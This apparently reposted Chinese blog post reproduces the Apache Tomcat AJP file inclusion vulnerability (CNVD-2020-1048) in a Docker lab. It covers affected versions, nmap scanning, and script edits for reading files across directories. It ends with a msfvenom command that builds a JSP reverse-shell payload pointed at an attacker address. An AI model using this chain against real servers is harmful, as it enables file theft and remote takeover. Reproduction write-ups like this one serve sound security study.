【漏洞复现】——Apache Tomcat AJP文件包含漏洞(CNVD-2020-1048)

1.影响版本

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

2.复现

2.1准备
攻击机:kali 192.168.227.130
centos7 192.168.227.132
docker
工具:
six
2.2环境搭建
选取一个版本受影响的Tomcat,这里用Docker hub上的9.0.30版本的Tomcat镜像来复现
下载镜像

docker pull tomcat:9.0.30-jdk8-adoptopenjdk-hotspot

运行容器

docker run --rm -p 8009:8009 -p 8080:8080 -d tomcat:9.0.30-jdk8-adoptopenjdk-hotspot

在这里插入图片描述
进入容器里的/usr/local/tomcat目录, 将webapps.dist下的内容复制到webapps目录下
在这里插入图片描述

sudo docker exec -it f1fb52142e4d(容器id) /bin/bash

在这里插入图片描述

cp -r webapps.dist/* webapps/

访问8080端口,查看Tomcat是否正常运行
在这里插入图片描述

3.跨目录读取

nmap扫描
在这里插入图片描述
发现开放8009和8080端口
可用用脚本读取ROOT目录下的文件,如果想读取webapps其他目录下的文件, 可以对脚本进行简单的修改
修改脚本里的“/asdf”就可以实现跨目录读取. 比如我们要读取test目录下的test.txt

_,data = t.perform_request('/test/asdf',attributes=[

在这里插入图片描述
在webapps下的创建一个test目录, 放上一个test.txt文件
在这里插入图片描述
然后用修改后的脚本读取这个文件即可
在这里插入图片描述

4.反弹shell

如果服务器同时存在文件上传漏洞, 则可以进一步取得shell. 我们先修改一下脚本, 在“/asdf”后面加上“.jsp”即可

_,data = t.perform_request('/asdf.jsp',attributes=[

在这里插入图片描述
生成Payload, 其中192.168.227.130是攻击者地址

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.227.130 LPORT=4444 > shell.txt

设置好payload,然后开始监听
在这里插入图片描述
将shell.txt放到webapps的ROOT目录下后,运行脚本
在这里插入图片描述
附(拷贝本地文件到docker容器)
1,确定我们的容器名,并获取容器长ID

扫描二维码关注公众号,回复: 11331203 查看本文章
docker inspect -f '{{.ID}}' frosty_feynman

2,拷贝本地文件到容器

docker cp 你的文件路径 容器长ID:docker容器路径

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
得到shell
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/Kris__zhang/article/details/106232024